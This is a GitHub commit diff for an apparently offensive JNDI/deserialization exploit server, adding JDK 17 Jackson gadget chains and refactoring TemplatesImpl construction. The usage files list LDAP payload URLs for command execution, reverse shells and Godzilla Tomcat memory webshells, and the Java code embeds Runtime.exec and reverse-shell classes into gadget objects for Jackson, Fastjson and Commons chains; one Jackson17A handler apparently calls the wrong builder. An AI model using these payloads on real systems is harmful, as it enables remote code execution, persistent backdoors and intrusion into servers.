Skip to content

Commit 8e2f74e

Browse files
committed
feat: JDK 17 Jackson 反序列化
1. 支持 JDK 17 Jackson 反序列化, 分为 Jackson17A 和 Jackson17B 两个版本 2. 重构 TemplatesImpl 构造逻辑, 理论上大部分反序列化链都兼容 JDK 17
1 parent 5509b48 commit 8e2f74e

File tree

8 files changed

+246
-53
lines changed

8 files changed

+246
-53
lines changed

USAGE.en.md

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -548,10 +548,25 @@ ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/MemShell/Tomcat/Godzilla/F
548548

549549
# Jackson deserialization
550550
# Use JdkDynamicAopProxy to optimize instability issues, need spring-aop dependency
551+
552+
# for JDK 8
551553
ldap://127.0.0.1:1389/Deserialize/Jackson/Command/open -a Calculator
552554
ldap://127.0.0.1:1389/Deserialize/Jackson/ReverseShell/127.0.0.1/4444
553555
ldap://127.0.0.1:1389/Deserialize/Jackson/MemShell/Tomcat/Godzilla/Filter
554556

557+
# for JDK 17+
558+
# Because the serialVersionUID of DefaultAdvisorChainFactory differs between versions before and after Spring 6.0.10, it is divided into two versions
559+
560+
# Jackson17A: Spring < 6.0.10
561+
ldap://127.0.0.1:1389/Deserialize/Jackson17A/Command/open -a Calculator
562+
ldap://127.0.0.1:1389/Deserialize/Jackson17A/ReverseShell/127.0.0.1/4444
563+
ldap://127.0.0.1:1389/Deserialize/Jackson17A/MemShell/Tomcat/Godzilla/Filter
564+
565+
# Jackson17B: Spring >= 6.0.10
566+
ldap://127.0.0.1:1389/Deserialize/Jackson17B/Command/open -a Calculator
567+
ldap://127.0.0.1:1389/Deserialize/Jackson17B/ReverseShell/127.0.0.1/4444
568+
ldap://127.0.0.1:1389/Deserialize/Jackson17B/MemShell/Tomcat/Godzilla/Filter
569+
555570
# Fastjson deserialization
556571

557572
# Fastjson1: all versions (1.2.x)

USAGE.md

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -548,10 +548,25 @@ ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/MemShell/Tomcat/Godzilla/F
548548
549549
# Jackson 反序列化
550550
# 使用 JdkDynamicAopProxy 优化不稳定性问题, 需要 spring-aop 依赖
551+
552+
# 适用于 JDK 8
551553
ldap://127.0.0.1:1389/Deserialize/Jackson/Command/open -a Calculator
552554
ldap://127.0.0.1:1389/Deserialize/Jackson/ReverseShell/127.0.0.1/4444
553555
ldap://127.0.0.1:1389/Deserialize/Jackson/MemShell/Tomcat/Godzilla/Filter
554556
557+
# 适用于 JDK 17+
558+
# 因为 DefaultAdvisorChainFactory 在 Spring 6.0.10 版本前后的 serialVersionUID 不同, 所以分为两个版本
559+
560+
# Jackson17A: Spring < 6.0.10
561+
ldap://127.0.0.1:1389/Deserialize/Jackson17A/Command/open -a Calculator
562+
ldap://127.0.0.1:1389/Deserialize/Jackson17A/ReverseShell/127.0.0.1/4444
563+
ldap://127.0.0.1:1389/Deserialize/Jackson17A/MemShell/Tomcat/Godzilla/Filter
564+
565+
# Jackson17B: Spring >= 6.0.10
566+
ldap://127.0.0.1:1389/Deserialize/Jackson17B/Command/open -a Calculator
567+
ldap://127.0.0.1:1389/Deserialize/Jackson17B/ReverseShell/127.0.0.1/4444
568+
ldap://127.0.0.1:1389/Deserialize/Jackson17B/MemShell/Tomcat/Godzilla/Filter
569+
555570
# Fastjson 反序列化
556571
557572
# Fastjson1: 全版本 (1.2.x)

src/main/java/map/jndi/controller/DeserializeController.java

Lines changed: 75 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -41,15 +41,15 @@ public byte[] URLDNS(String url) throws Exception {
4141
public byte[] CommonsCollectionsK1Cmd(String cmd) throws Exception {
4242
System.out.println("[Deserialize] [CommonsCollectionsK1] [Command] Cmd: " + cmd);
4343

44-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(cmd);
44+
TemplatesImpl templatesImpl = Gadgets.create(cmd);
4545
return CommonsCollectionsK1.create(templatesImpl);
4646
}
4747

4848
@JNDIMapping("/CommonsCollectionsK1/ReverseShell/{host}/{port}")
4949
public byte[] CommonsCollectionsK1ReverseShell(String host, String port) throws Exception {
5050
System.out.println("[Deserialize] [CommonsCollectionsK1] [ReverseShell] Host: " + host + " Port: " + port);
5151

52-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(host, Integer.parseInt(port));
52+
TemplatesImpl templatesImpl = Gadgets.create(host, Integer.parseInt(port));
5353
return CommonsCollectionsK1.create(templatesImpl);
5454
}
5555

@@ -60,23 +60,23 @@ public byte[] CommonsCollectionsK1MemShell(String server, String tool, String ty
6060
GenerateResult result = MemShellPayload.generate(server, tool, type);
6161
MemShellPayload.printInfo(result);
6262

63-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(result.getInjectorBytes());
63+
TemplatesImpl templatesImpl = Gadgets.create(result.getInjectorBytes());
6464
return CommonsCollectionsK1.create(templatesImpl);
6565
}
6666

6767
@JNDIMapping("/CommonsCollectionsK2/Command/{cmd}")
6868
public byte[] CommonsCollectionsK2Cmd(String cmd) throws Exception {
6969
System.out.println("[Deserialize] [CommonsCollectionsK2] [Command] Cmd: " + cmd);
7070

71-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(cmd);
71+
TemplatesImpl templatesImpl = Gadgets.create(cmd);
7272
return CommonsCollectionsK2.create(templatesImpl);
7373
}
7474

7575
@JNDIMapping("/CommonsCollectionsK2/ReverseShell/{host}/{port}")
7676
public byte[] CommonsCollectionsK2ReverseShell(String host, String port) throws Exception {
7777
System.out.println("[Deserialize] [CommonsCollectionsK2] [ReverseShell] Host: " + host + " Port: " + port);
7878

79-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(host, Integer.parseInt(port));
79+
TemplatesImpl templatesImpl = Gadgets.create(host, Integer.parseInt(port));
8080
return CommonsCollectionsK2.create(templatesImpl);
8181
}
8282

@@ -87,7 +87,7 @@ public byte[] CommonsCollectionsK2MemShell(String server, String tool, String ty
8787
GenerateResult result = MemShellPayload.generate(server, tool, type);
8888
MemShellPayload.printInfo(result);
8989

90-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(result.getInjectorBytes());
90+
TemplatesImpl templatesImpl = Gadgets.create(result.getInjectorBytes());
9191
return CommonsCollectionsK2.create(templatesImpl);
9292
}
9393

@@ -109,15 +109,15 @@ public byte[] CommonsCollectionsK4Cmd(String cmd) throws Exception {
109109
public byte[] CommonsBeanutils183Cmd(String cmd) throws Exception {
110110
System.out.println("[Deserialize] [CommonsBeanutils183] [Command] Cmd: " + cmd);
111111

112-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(cmd);
112+
TemplatesImpl templatesImpl = Gadgets.create(cmd);
113113
return CommonsBeanutils.create(templatesImpl, "commons-beanutils-1.8.3.jar");
114114
}
115115

116116
@JNDIMapping("/CommonsBeanutils183/ReverseShell/{host}/{port}")
117117
public byte[] CommonsBeanutils183ReverseShell(String host, String port) throws Exception {
118118
System.out.println("[Deserialize] [CommonsBeanutils183] [ReverseShell] Host: " + host + " Port: " + port);
119119

120-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(host, Integer.parseInt(port));
120+
TemplatesImpl templatesImpl = Gadgets.create(host, Integer.parseInt(port));
121121
return CommonsBeanutils.create(templatesImpl, "commons-beanutils-1.8.3.jar");
122122
}
123123

@@ -128,23 +128,23 @@ public byte[] CommonsBeanutils183MemShell(String server, String tool, String typ
128128
GenerateResult result = MemShellPayload.generate(server, tool, type);
129129
MemShellPayload.printInfo(result);
130130

131-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(result.getInjectorBytes());
131+
TemplatesImpl templatesImpl = Gadgets.create(result.getInjectorBytes());
132132
return CommonsBeanutils.create(templatesImpl, "commons-beanutils-1.8.3.jar");
133133
}
134134

135135
@JNDIMapping("/CommonsBeanutils194/Command/{cmd}")
136136
public byte[] CommonsBeanutils194Cmd(String cmd) throws Exception {
137137
System.out.println("[Deserialize] [CommonsBeanutils194] [Command] Cmd: " + cmd);
138138

139-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(cmd);
139+
TemplatesImpl templatesImpl = Gadgets.create(cmd);
140140
return CommonsBeanutils.create(templatesImpl, "commons-beanutils-1.9.4.jar");
141141
}
142142

143143
@JNDIMapping("/CommonsBeanutils194/ReverseShell/{host}/{port}")
144144
public byte[] CommonsBeanutils194ReverseShell(String host, String port) throws Exception {
145145
System.out.println("[Deserialize] [CommonsBeanutils194] [ReverseShell] Host: " + host + " Port: " + port);
146146

147-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(host, Integer.parseInt(port));
147+
TemplatesImpl templatesImpl = Gadgets.create(host, Integer.parseInt(port));
148148
return CommonsBeanutils.create(templatesImpl, "commons-beanutils-1.9.4.jar");
149149
}
150150

@@ -155,23 +155,23 @@ public byte[] CommonsBeanutils194MemShell(String server, String tool, String typ
155155
GenerateResult result = MemShellPayload.generate(server, tool, type);
156156
MemShellPayload.printInfo(result);
157157

158-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(result.getInjectorBytes());
158+
TemplatesImpl templatesImpl = Gadgets.create(result.getInjectorBytes());
159159
return CommonsBeanutils.create(templatesImpl, "commons-beanutils-1.9.4.jar");
160160
}
161161

162162
@JNDIMapping("/Jackson/Command/{cmd}")
163163
public byte[] JacksonCmd(String cmd) throws Exception {
164164
System.out.println("[Deserialize] [Jackson] [Command] Cmd: " + cmd);
165165

166-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(cmd);
166+
TemplatesImpl templatesImpl = Gadgets.create(cmd);
167167
return Jackson.create(templatesImpl);
168168
}
169169

170170
@JNDIMapping("/Jackson/ReverseShell/{host}/{port}")
171171
public byte[] JacksonReverseShell(String host, String port) throws Exception {
172172
System.out.println("[Deserialize] [Jackson] [ReverseShell] Host: " + host + " Port: " + port);
173173

174-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(host, Integer.parseInt(port));
174+
TemplatesImpl templatesImpl = Gadgets.create(host, Integer.parseInt(port));
175175
return Jackson.create(templatesImpl);
176176
}
177177

@@ -182,23 +182,77 @@ public byte[] JacksonMemShell(String server, String tool, String type) throws Ex
182182
GenerateResult result = MemShellPayload.generate(server, tool, type);
183183
MemShellPayload.printInfo(result);
184184

185-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(result.getInjectorBytes());
185+
TemplatesImpl templatesImpl = Gadgets.create(result.getInjectorBytes());
186186
return Jackson.create(templatesImpl);
187187
}
188188

189+
@JNDIMapping("/Jackson17A/Command/{cmd}")
190+
public byte[] Jackson17ACmd(String cmd) throws Exception {
191+
System.out.println("[Deserialize] [Jackson17A] [Command] Cmd: " + cmd);
192+
193+
TemplatesImpl templatesImpl = Gadgets.create(cmd);
194+
return Jackson17.createA(templatesImpl);
195+
}
196+
197+
@JNDIMapping("/Jackson17A/ReverseShell/{host}/{port}")
198+
public byte[] Jackson17AReverseShell(String host, String port) throws Exception {
199+
System.out.println("[Deserialize] [Jackson17A] [ReverseShell] Host: " + host + " Port: " + port);
200+
201+
TemplatesImpl templatesImpl = Gadgets.create(host, Integer.parseInt(port));
202+
return Jackson17.createA(templatesImpl);
203+
}
204+
205+
@JNDIMapping("/Jackson17A/MemShell/{server}/{tool}/{type}")
206+
public byte[] Jackson17AMemShell(String server, String tool, String type) throws Exception {
207+
System.out.println("[Deserialize] [Jackson17A] [MemShell] Server: " + server + " Tool: " + tool + " Type: " + type);
208+
209+
GenerateResult result = MemShellPayload.generate(server, tool, type);
210+
MemShellPayload.printInfo(result);
211+
212+
TemplatesImpl templatesImpl = Gadgets.create(result.getInjectorBytes());
213+
return Jackson17.createB(templatesImpl);
214+
}
215+
216+
@JNDIMapping("/Jackson17B/Command/{cmd}")
217+
public byte[] Jackson17BCmd(String cmd) throws Exception {
218+
System.out.println("[Deserialize] [Jackson17B] [Command] Cmd: " + cmd);
219+
220+
TemplatesImpl templatesImpl = Gadgets.create(cmd);
221+
return Jackson17.createB(templatesImpl);
222+
}
223+
224+
@JNDIMapping("/Jackson17B/ReverseShell/{host}/{port}")
225+
public byte[] Jackson17BReverseShell(String host, String port) throws Exception {
226+
System.out.println("[Deserialize] [Jackson17B] [ReverseShell] Host: " + host + " Port: " + port);
227+
228+
TemplatesImpl templatesImpl = Gadgets.create(host, Integer.parseInt(port));
229+
return Jackson17.createB(templatesImpl);
230+
}
231+
232+
@JNDIMapping("/Jackson17B/MemShell/{server}/{tool}/{type}")
233+
public byte[] Jackson17BMemShell(String server, String tool, String type) throws Exception {
234+
System.out.println("[Deserialize] [Jackson17B] [MemShell] Server: " + server + " Tool: " + tool + " Type: " + type);
235+
236+
GenerateResult result = MemShellPayload.generate(server, tool, type);
237+
MemShellPayload.printInfo(result);
238+
239+
TemplatesImpl templatesImpl = Gadgets.create(result.getInjectorBytes());
240+
return Jackson17.createB(templatesImpl);
241+
}
242+
189243
@JNDIMapping("/Fastjson1/Command/{cmd}")
190244
public byte[] Fastjson1Cmd(String cmd) throws Exception {
191245
System.out.println("[Deserialize] [Fastjson1] [Command] Cmd: " + cmd);
192246

193-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(cmd);
247+
TemplatesImpl templatesImpl = Gadgets.create(cmd);
194248
return Fastjson1.create(templatesImpl);
195249
}
196250

197251
@JNDIMapping("/Fastjson1/ReverseShell/{host}/{port}")
198252
public byte[] Fastjson1ReverseShell(String host, String port) throws Exception {
199253
System.out.println("[Deserialize] [Fastjson1] [ReverseShell] Host: " + host + " Port: " + port);
200254

201-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(host, Integer.parseInt(port));
255+
TemplatesImpl templatesImpl = Gadgets.create(host, Integer.parseInt(port));
202256
return Fastjson1.create(templatesImpl);
203257
}
204258

@@ -209,23 +263,23 @@ public byte[] Fastjson1MemShell(String server, String tool, String type) throws
209263
GenerateResult result = MemShellPayload.generate(server, tool, type);
210264
MemShellPayload.printInfo(result);
211265

212-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(result.getInjectorBytes());
266+
TemplatesImpl templatesImpl = Gadgets.create(result.getInjectorBytes());
213267
return Fastjson1.create(templatesImpl);
214268
}
215269

216270
@JNDIMapping("/Fastjson2/Command/{cmd}")
217271
public byte[] Fastjson2Cmd(String cmd) throws Exception {
218272
System.out.println("[Deserialize] [Fastjson2] [Command] Cmd: " + cmd);
219273

220-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(cmd);
274+
TemplatesImpl templatesImpl = Gadgets.create(cmd);
221275
return Fastjson2.create(templatesImpl);
222276
}
223277

224278
@JNDIMapping("/Fastjson2/ReverseShell/{host}/{port}")
225279
public byte[] Fastjson2ReverseShell(String host, String port) throws Exception {
226280
System.out.println("[Deserialize] [Fastjson2] [ReverseShell] Host: " + host + " Port: " + port);
227281

228-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(host, Integer.parseInt(port));
282+
TemplatesImpl templatesImpl = Gadgets.create(host, Integer.parseInt(port));
229283
return Fastjson2.create(templatesImpl);
230284
}
231285

@@ -236,7 +290,7 @@ public byte[] Fastjson2MemShell(String server, String tool, String type) throws
236290
GenerateResult result = MemShellPayload.generate(server, tool, type);
237291
MemShellPayload.printInfo(result);
238292

239-
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(result.getInjectorBytes());
293+
TemplatesImpl templatesImpl = Gadgets.create(result.getInjectorBytes());
240294
return Fastjson2.create(templatesImpl);
241295
}
242296
}

src/main/java/map/jndi/gadget/Gadgets.java

Lines changed: 20 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -4,17 +4,14 @@
44
import map.jndi.util.MiscUtil;
55
import map.jndi.util.ReflectUtil;
66
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
7-
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
87
import javassist.*;
98
import javassist.bytecode.AccessFlag;
109
import javassist.bytecode.ClassFile;
1110

1211
import java.io.ByteArrayInputStream;
1312

1413
public class Gadgets {
15-
16-
public static TemplatesImpl createTemplatesImpl(String command) throws Exception {
17-
TemplatesImpl templatesImpl = new TemplatesImpl();
14+
public static TemplatesImpl create(String command) throws Exception {
1815
ClassPool pool = ClassPool.getDefault();
1916

2017
String body = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", command);
@@ -24,53 +21,46 @@ public static TemplatesImpl createTemplatesImpl(String command) throws Exception
2421
classFile.setAccessFlags(AccessFlag.PUBLIC);
2522
CtClass clazz = pool.makeClass(classFile);
2623

27-
CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
28-
clazz.setSuperclass(superClazz);
29-
3024
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
3125
constructor.setModifiers(Modifier.PUBLIC);
3226
constructor.setBody(body);
3327
clazz.addConstructor(constructor);
3428

35-
ReflectUtil.setFieldValue(templatesImpl, "_name", "Hello");
36-
ReflectUtil.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
37-
ReflectUtil.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
38-
39-
return templatesImpl;
29+
return makeTemplatesImpl(clazz.toBytecode());
4030
}
4131

42-
public static TemplatesImpl createTemplatesImpl(String host, int port) throws Exception {
43-
TemplatesImpl templatesImpl = new TemplatesImpl();
32+
public static TemplatesImpl create(String host, int port) throws Exception {
4433
ClassPool pool = ClassPool.getDefault();
4534

4635
CtClass clazz = pool.get(ReverseShell.class.getName());
47-
CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
48-
clazz.setSuperclass(superClazz);
49-
5036
ReflectUtil.setCtField(clazz, "host", CtField.Initializer.constant(host));
5137
ReflectUtil.setCtField(clazz, "port", CtField.Initializer.constant(port));
52-
5338
clazz.replaceClassName(clazz.getName(), MiscUtil.getClassName());
5439

55-
ReflectUtil.setFieldValue(templatesImpl, "_name", "Hello");
56-
ReflectUtil.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
57-
ReflectUtil.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
58-
59-
return templatesImpl;
40+
return makeTemplatesImpl(clazz.toBytecode());
6041
}
6142

62-
public static TemplatesImpl createTemplatesImpl(byte[] byteCode) throws Exception {
63-
TemplatesImpl templatesImpl = new TemplatesImpl();
43+
public static TemplatesImpl create(byte[] bytecode) throws Exception {
6444
ClassPool pool = ClassPool.getDefault();
45+
CtClass clazz = pool.makeClass(new ByteArrayInputStream(bytecode));
46+
47+
return makeTemplatesImpl(clazz.toBytecode());
48+
}
6549

66-
CtClass clazz = pool.makeClass(new ByteArrayInputStream(byteCode));
67-
CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
68-
clazz.setSuperclass(superClazz);
50+
public static TemplatesImpl makeTemplatesImpl(byte[] bytecode) throws Exception {
51+
TemplatesImpl templatesImpl = new TemplatesImpl();
6952

7053
ReflectUtil.setFieldValue(templatesImpl, "_name", "Hello");
71-
ReflectUtil.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
72-
ReflectUtil.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
54+
ReflectUtil.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytecode, makeDummyClass()});
55+
ReflectUtil.setFieldValue(templatesImpl, "_transletIndex", 0);
7356

7457
return templatesImpl;
7558
}
59+
60+
public static byte[] makeDummyClass() throws Exception {
61+
ClassPool pool = ClassPool.getDefault();
62+
CtClass clazz = pool.makeClass(MiscUtil.getClassName());
63+
64+
return clazz.toBytecode();
65+
}
7666
}

src/main/java/map/jndi/gadget/Jackson.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,8 +35,8 @@ public static byte[] create(TemplatesImpl templatesImpl) throws Exception {
3535
InvocationHandler jdkDynamicAopProxyHandler = (InvocationHandler) constructor.newInstance(as);
3636

3737
Templates templatesProxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, jdkDynamicAopProxyHandler);
38-
3938
POJONode pojoNode = new POJONode(templatesProxy);
39+
4040
BadAttributeValueExpException e = new BadAttributeValueExpException(null);
4141
ReflectUtil.setFieldValue(e, "val", pojoNode);
4242

0 commit comments

Comments
 (0)